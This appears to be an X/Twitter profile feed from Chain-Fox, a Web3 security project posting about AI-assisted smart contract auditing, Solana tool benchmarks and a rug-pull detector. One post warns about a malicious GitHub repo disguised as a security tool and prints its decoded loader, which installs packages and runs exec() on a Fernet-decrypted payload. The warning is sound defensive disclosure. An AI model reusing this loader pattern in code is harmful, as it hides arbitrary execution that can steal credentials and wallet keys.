Chain-Fox

302 posts

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Chain-Fox

Chain-Fox

@ChainFoxAI

All-in-one automated blockchain auditing . AI + rules + human-in-the-loop. Building the Web3 security standard CA: Fo9wJVqWYXEgsG3UKekvK1R7YVewyUGodRfBrmjaBAGS

Beijing, China 加入时间 Kasım 2017
29 关注1.1K 粉丝
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Chain-Fox
Chain-Fox@ChainFoxAI·
Over the past weeks, we’ve been deep into experimenting with AI agents and skill-based workflows. One clear takeaway: Simply throwing a large model at audits doesn’t work well. Clear steps, structured workflows, and reusable skills matter much more. This is a big shift for Chain-Fox. Expanding what Chain-Fox does Until now, Chain-Fox has focused mainly on smart contract code checks. That’s important, but real Web3 attacks are rarely just about code. Rug pulls, malicious behavior, and fake or compromised websites play a huge role. Because of this, Chain-Fox is evolving from pure code checks into broader risk analysis that better reflects how real attacks happen.
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Chain-Fox
Chain-Fox@ChainFoxAI·
To better understand the current Solana security ecosystem, We tested Fender, Eloizer, and X-Ray on over 200 real Anchor bugs. The report is here: github.com/Chain-Fox/Chai… Here’s what we saw: Fender catches almost everything with very high recall. X-Ray gives cleaner output but misses quite a few bugs. Eloizer lands somewhere in between. But in real projects, precision drops to about 6%. That means you need to look at 10 to 15 alerts to find one real issue. So a practical workflow right now: Run Fender, apply some filtering, then manually review. It’s still early. Tools are getting better quickly. We’re not done. We are testing other tools esp LLM-based ones.
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Chain-Fox
Chain-Fox@ChainFoxAI·
At Chain-Fox, we’ve collected 150+ bug-fixing commits across 1000+ real-world Anchor projects. We’re analyzing them to evaluate the effectiveness of existing Solana security analysis tools. Our own agentic checker is also in progress.
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Chain-Fox
Chain-Fox@ChainFoxAI·
I think this is real progress for Solana security. Respect to the researchers from Germany. arxiv.org/abs/2603.16349 The ability to analyze deployed contracts without requiring source code makes the approach actually usable in practice. Symbolic execution is powerful for uncovering low-level bugs, but business logic vulnerabilities remain difficult to detect. The next step is clear: combining code-level analysis with intent-based LLM reasoning.
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Chain-Fox
Chain-Fox@ChainFoxAI·
The system is evolving every day. Instead of chasing perfect agents, we are building the data foundation first. Thanks to our partner @acedatacloud for providing affordable APIs that make running this continuous research infrastructure possible.
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Chain-Fox
Chain-Fox@ChainFoxAI·
Our approach is different: start small and collect real-world signals. For the past week, an OpenClaw instance has been running 24/7, using cron jobs to continuously collect public information and build a real-world Solana security dataset. Every command we issue improves the pipeline: Program discovery -> Data collection -> Automated analysis
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Chain-Fox
Chain-Fox@ChainFoxAI·
The first step to building a reliable agentic checker is simple but often ignored: Data. Most AI checkers and auto agents fail not because the model is weak, but because they lack real verification data.
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Chain-Fox
Chain-Fox@ChainFoxAI·
Those who are engaging web3 security should read the two articles by MagicGrants and Kleros. Takeaway: AI can flag “bugs” that aren’t bugs, while tools miss real issues. Neither alone meets our auditing needs. Chain-Fox leverages verification to get the best of both worlds: AI and expert tools. magicgrants.org/2026/03/09/AI-… blog.kleros.io/smart-contract…
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Chain-Fox
Chain-Fox@ChainFoxAI·
To test the ability of agentic checkers, I tried running old Sealevel-Attacks demos on Anchor 0.32.1 in a restricted network. Biggest headaches: 1. Downloads often fail: had to manually download and fix. 2. Old demos incompatible with new Anchor Forked the project, fixing compatibility with Anchor 0.32. Will upstream once stable. github.com/Chain-Fox/sola…
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Chain-Fox
Chain-Fox@ChainFoxAI·
I am rethinking what an agentic checker means. Instead of building agents that guess bugs, we should build systems that: prove properties of the program The LLM helps fill the specification gap, but correctness is decided by formal methods. github.com/Chain-Fox/sola…
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Chain-Fox 已转推
Chain-Fox
Chain-Fox@ChainFoxAI·
Back from the holidays, now it’s time to work on the agentic checker!
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Chain-Fox
Chain-Fox@ChainFoxAI·
Rug-Pull Detector: Initial Version Live Try it now: chain-fox.com/rugpull-detect 1. Paste a contract address 2. Click Analyze Contract 3. Wait for the Rug-Pull Agent to generate a full analysis This is just the beginning, more functions to be added. Let’s make it stronger together.
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Chain-Fox
Chain-Fox@ChainFoxAI·
While researching open-source rug-pull detectors, I found something worrying. Some don’t work. Some are outright malicious. hippo7598/rug-pull-detector Looks professional. README is clean. At first glance, no obvious issue. But check the raw file: raw.githubusercontent.com/hippo7598/rug-… You’ll find: Obfuscated bytecode Encrypted payload exec() on decrypted content That’s NOT how security tools are written. The byte-encoded payload expands to: ``` os.system('pip install cryptography') os.system('pip install requests') os.system('pip install fernet') import requests from fernet import Fernet exec(Fernet(b'').decrypt(b'')) ``` Because the decrypted payload is executed directly: Arbitrary code execution is possible Credential theft is possible Wallet key exfiltration is possible The impact surface is unbounded. Use a trustworthy tool in Chain-Fox. The rug-pull tool testing will be online in hours.
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Chain-Fox
Chain-Fox@ChainFoxAI·
WARNING: MALICIOUS CODE FOUND INSIDE 🦂github.com/hippo7598/rug-… A reminder: malicious code often disguises itself as “security tools.” Be careful what you run. This is exactly why we’re building Chain-Fox: Open logic. Auditable code. No hidden execution. Our rug-pull inner test will be online soon. No fear of malicious detectors. Stay safe.
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Chain-Fox 已转推
DieBX00
DieBX00@ChainFoxMainDev·
Work these days: Initial version of rug-pull detection will be out in 24h. Pushing the checkers to be more agentic, not just rule-based flags. Tried the newest doc to spec tools. Promising, but still needs manual work. Step by step. Build the foundation right. @ChainFoxAI
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Chain-Fox
Chain-Fox@ChainFoxAI·
Chain-Fox is being built with a long-term view. We’re focusing on designing security systems that reflect how real Web3 risks evolve, not just running surface-level checks. Some phases take more groundwork than visibility. Updates will be shared when there’s something concrete to show.
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Chain-Fox
Chain-Fox@ChainFoxAI·
Chain-Fox roadmap is live. We’re moving beyond code-only audits into full Web3 risk analysis using Skills and agents. This is a phased build focused on detection, signals, and real-world attack patterns. 🧵
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Chain-Fox
Chain-Fox@ChainFoxAI·
Chain-Fox is moving beyond code-only audits. Most Web3 exploits don’t start with a single contract bug. They start with behavior, fake sites, and gradual risk signals. That’s why our roadmap now focuses on agent-based risk analysis: • Rug pull detection • Web3 website risk checks • Skill-based contract auditing • Continuous signals, not yes/no labels Full roadmap is live and development is underway.
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Chain-Fox
Chain-Fox@ChainFoxAI·
Full roadmap and technical details here: github.com/Chain-Fox/Chai… This roadmap is about building durable security systems. And that’s what Chain-Fox exists for.
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